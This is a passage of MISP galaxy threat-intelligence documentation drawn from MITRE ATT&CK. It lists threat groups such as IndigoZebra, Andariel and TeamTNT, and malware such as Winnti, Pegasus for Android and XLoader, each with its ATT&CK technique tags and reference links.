- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5121. Table References

Links
https://attack.mitre.org/groups/G0135
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/

IndigoZebra - G0136

[IndigoZebra](https://attack.mitre.org/groups/G0136) is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="IndigoZebra - G0136"*

IndigoZebra - G0136 is also known as:

- IndigoZebra

View relationships graph

IndigoZebra - G0136 has relationships with:

- uses: misp-galaxy:mitre-malware="xCaon - S0653" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BoxCaon - S0651" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5122. Table References

Links
https://attack.mitre.org/groups/G0136
https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/
https://securelist.com/apt-trends-report-q2-2017/79332/
https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html

Andariel - G0138

[Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations—which have included destructive attacks—against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)

[Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:mitre-intrusion-set="Andariel - G0138"*

Andariel - G0138 is also known as:

- Andariel
- Silent Chollima

View relationships graph

Andariel - G0138 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="IP Addresses - T1590.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Rifdoor - S0433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software - T1592.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5123. Table References

Links
AnalysisAndariel_Group.pdf[AnalysisAndariel_Group.pdf]
http://www.issuemakerslab.com/research3/
https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/
https://attack.mitre.org/groups/G0138
https://home.treasury.gov/news/press-releases/sm774
https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1680.do
https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html

TeamTNT - G0139

[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="TeamTNT - G0139"*

TeamTNT - G0139 is also known as:

- TeamTNT

View relationships graph

TeamTNT - G0139 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Container and Resource Discovery - T1613" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Hildegard - S0601" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="MimiPenguin - S0179" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Peirates - S0683" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scanning IP Blocks - T1595.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5124. Table References

Links
https://attack.mitre.org/groups/G0139
https://blog.aquasec.com/container-security-tnt-container-attack
https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera
https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf
https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/

https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/
https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/
https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf
https://www.lacework.com/blog/taking-teamtnt-docker-images-offline/

Malware

Name of ATT&CK software.

Malware is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Hacking Team UEFI Rootkit - S0047

[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)

The tag is: *misp-galaxy:mitre-malware="Hacking Team UEFI Rootkit - S0047"*

Hacking Team UEFI Rootkit - S0047 is also known as:

- Hacking Team UEFI Rootkit

View relationships graph

Hacking Team UEFI Rootkit - S0047 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"

Table 5125. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/

https://attack.mitre.org/software/S0047

X-Agent for Android - S0314

[X-Agent for Android](https://attack.mitre.org/software/S0314) is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery. (Citation: CrowdStrike-Android) Is it tracked separately from the [CHOPSTICK](https://attack.mitre.org/software/S0023).

The tag is: *misp-galaxy:mitre-malware="X-Agent for Android - S0314"*

X-Agent for Android - S0314 is also known as:

- X-Agent for Android

View relationships graph

X-Agent for Android - S0314 has relationships with:

- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"

Table 5126. Table References

Links
https://attack.mitre.org/software/S0314
https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf

Red Alert 2.0 - S0539

[Red Alert 2.0](https://attack.mitre.org/software/S0539) is a banking trojan that masquerades as a VPN client.(Citation: Sophos Red Alert 2.0)

The tag is: *misp-galaxy:mitre-malware="Red Alert 2.0 - S0539"*

Red Alert 2.0 - S0539 is also known as:

- Red Alert 2.0

View relationships graph

Red Alert 2.0 - S0539 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1481" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5127. Table References

Links
https://attack.mitre.org/software/S0539
https://news.sophos.com/en-us/2018/07/23/red-alert-2-0-android-trojan-targets-security-seekers/

Exaramel for Linux - S0401

[Exaramel for Linux](https://attack.mitre.org/software/S0401) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343).(Citation: ESET

TeleBots Oct 2018)

The tag is: *misp-galaxy:mitre-malware="Exaramel for Linux - S0401"*

Exaramel for Linux - S0401 is also known as:

- Exaramel for Linux

View relationships graph

Exaramel for Linux - S0401 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5128. Table References

Links
https://attack.mitre.org/software/S0401
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/

Winnti for Linux - S0430

[Winnti for Linux](https://attack.mitre.org/software/S0430) is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including [Winnti Group](https://attack.mitre.org/groups/G0044). The Windows variant is tracked separately under [Winnti for Windows](https://attack.mitre.org/software/S0141).(Citation: Chronicle Winnti for Linux May 2019)

The tag is: *misp-galaxy:mitre-malware="Winnti for Linux - S0430"*

Winnti for Linux - S0430 is also known as:

- Winnti for Linux

View relationships graph

Winnti for Linux - S0430 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5129. Table References

Links
https://attack.mitre.org/software/S0430
https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a

XLoader for iOS - S0490

[XLoader for iOS](https://attack.mitre.org/software/S0490) is a malicious iOS application that is capable of gathering system information.(Citation: TrendMicro-XLoader-FakeSpy) It is tracked separately from the [XLoader for Android](https://attack.mitre.org/software/S0318).

The tag is: *misp-galaxy:mitre-malware="XLoader for iOS - S0490"*

XLoader for iOS - S0490 is also known as:

- XLoader for iOS

View relationships graph

XLoader for iOS - S0490 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 5130. Table References

Links
https://attack.mitre.org/software/S0490
https://blog.trendmicro.com/trendlabs-security-intelligence/new-version-of-xloader-that-disguises-as-android-apps-and-an-ios-profile-holds-new-links-to-fakespy/

Winnti for Windows - S0141

[Winnti for Windows](https://attack.mitre.org/software/S0141) is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: Kaspersky Winnti April 2013)(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)

The tag is: *misp-galaxy:mitre-malware="Winnti for Windows - S0141"*

Winnti for Windows - S0141 is also known as:

- Winnti for Windows

View relationships graph

Winnti for Windows - S0141 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Winnti (Windows)" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Winnti" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 5131. Table References

Links
http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf
https://401trg.github.io/pages/burning-umbrella.html
https://attack.mitre.org/software/S0141
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/
https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a
https://securelist.com/winnti-more-than-just-a-game/37029/

Pegasus for Android - S0316

[Pegasus for Android](https://attack.mitre.org/software/S0316) is the Android version of malware that has reportedly been linked to the NSO Group. (Citation: Lookout-PegasusAndroid) (Citation: Google-Chrysaor) The iOS version is tracked separately under [Pegasus for iOS](https://attack.mitre.org/software/S0289).

The tag is: *misp-galaxy:mitre-malware="Pegasus for Android - S0316"*

Pegasus for Android - S0316 is also known as:

- Pegasus for Android
- Chrysaor

View relationships graph

Pegasus for Android - S0316 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Table 5132. Table References

Links
https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html
https://attack.mitre.org/software/S0316
https://blog.lookout.com/blog/2017/04/03/pegasus-android/

XLoader for Android - S0318

[XLoader for Android](https://attack.mitre.org/software/S0318) is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application.(Citation: TrendMicro-XLoader-FakeSpy)(Citation: TrendMicro-XLoader) It is tracked separately from the [XLoader for iOS](https://attack.mitre.org/software/S0490).

The tag is: *misp-galaxy:mitre-malware="XLoader for Android - S0318"*

XLoader for Android - S0318 is also known as:

- XLoader for Android

View relationships graph

XLoader for Android - S0318 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1481" with estimative-language:likelihood-probability="almost-certain"
